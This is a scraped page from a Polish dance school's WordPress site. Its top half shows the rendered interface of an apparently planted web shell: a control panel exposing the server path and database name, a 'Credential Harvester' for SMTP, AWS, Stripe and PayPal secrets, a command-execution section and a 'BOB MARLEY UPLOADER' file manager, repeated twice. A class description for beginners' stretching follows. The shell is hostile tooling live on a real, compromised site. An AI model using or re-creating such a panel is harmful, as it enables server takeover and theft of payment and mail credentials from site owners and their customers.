WORDPRESS CONTROL PANEL

VENI VIDI VICI
WordPress Root: /home/klient.dhosting.pl/pawelciolko/abra.dobry.design-mei4/public_html
WP Version: 7.0
Database: ohd7ee_abradobr
Table Prefix: wp_
Connection: CONNECTED
Crypto Keys: 1 loaded (wp_mail_smtp)

SITE STATISTICS

PUBLISHED POSTS
2
PUBLISHED PAGES
27
TOTAL USERS
126
ADMIN USERS
90
ACTIVE PLUGINS
11
COMMENTS
1

CREDENTIAL HARVESTER

Show Preview Extract SMTP, AWS, Stripe, PayPal credentials (auto-decrypt)

COMMAND EXECUTION

VENI VIDI VICI
BOB MARLEY UPLOADER

♦ BOB MARLEY UPLOADER ♦

One Love | One Heart | One Upload

Current Dir: /home/klient.dhosting.pl/pawelciolko/abra.dobry.design-mei4/public_html/wp-content/languages/themes | [Parent Dir ↑]
NameSizeModifiedPerms
⬆️ ..DIR2026-09-28 16:270755
📄 .htaccess127 B2026-09-28 16:270444
📄 twentytwentyfive-pl_PL.mo54,568 B2026-05-21 20:070644
📄 twentytwentyfive-pl_PL.po87,357 B2026-05-21 20:070644
📄 twentytwentyfour-pl_PL.mo18,085 B2026-05-21 20:070644
📄 twentytwentyfour-pl_PL.po26,147 B2026-05-21 20:070644
📄 twentytwentythree-pl_PL.mo7,619 B2026-05-21 20:070644
📄 twentytwentythree-pl_PL.po11,960 B2026-05-21 20:070644
📄 twentytwentytwo-pl_PL.l10n.php19,296 B2026-09-02 04:040644
📄 twentytwentytwo-pl_PL.mo22,827 B2026-09-02 04:040644
📄 twentytwentytwo-pl_PL.po33,574 B2026-09-02 04:040644
Powered by BOB MARLEY | One Love
BOB MARLEY UPLOADER

♦ BOB MARLEY UPLOADER ♦

One Love | One Heart | One Upload

Current Dir: /home/klient.dhosting.pl/pawelciolko/abra.dobry.design-mei4/public_html/wp-content/languages/themes | [Parent Dir ↑]
NameSizeModifiedPerms
⬆️ ..DIR2026-09-28 16:270755
📄 .htaccess127 B2026-09-28 16:270444
📄 twentytwentyfive-pl_PL.mo54,568 B2026-05-21 20:070644
📄 twentytwentyfive-pl_PL.po87,357 B2026-05-21 20:070644
📄 twentytwentyfour-pl_PL.mo18,085 B2026-05-21 20:070644
📄 twentytwentyfour-pl_PL.po26,147 B2026-05-21 20:070644
📄 twentytwentythree-pl_PL.mo7,619 B2026-05-21 20:070644
📄 twentytwentythree-pl_PL.po11,960 B2026-05-21 20:070644
📄 twentytwentytwo-pl_PL.l10n.php19,296 B2026-09-02 04:040644
📄 twentytwentytwo-pl_PL.mo22,827 B2026-09-02 04:040644
📄 twentytwentytwo-pl_PL.po33,574 B2026-09-02 04:040644
Powered by BOB MARLEY | One Love
Stretching dla początkujących (P1) 28.06 – Abra Studio – szkoła tańca Warszawa

Stretching dla początkujących (P1) 28.06

Zapraszamy na zajęcia specjalne Stretchingu – przygotuj ciało do tańca (i nie tylko!)


Te zajęcia łączą vinyasa jogę z ćwiczeniami na mobilność, by w łagodny, ale skuteczny sposób rozgrzać stawy, uelastycznić mięśnie i zbudować większą swobodę w ruchu. Pracujemy dynamicznie, w rytmie oddechu, skupiając się na płynnych przejściach, rozciąganiu napiętych obszarów (jak biodra, plecy, barki) oraz wzmacnianiu centrum ciała.

To nie jest statyczny stretching, w którym tylko „trzymasz pozycje” – to świadomy ruch, który przygotowuje Cię do tańca, ale też do codziennego funkcjonowania z większą lekkością i swobodą.

Po zajęciach poczujesz się rozluźniony/a, bardziej obecny/a w ciele i gotowy/a na taneczne/życiowe wyzwania!
Dołącz do wydarzenia na Facebook

Galeria

Zobacz relacje z minionych imprez

Zapisujesz się na zajęcia:

Nazwa zajęć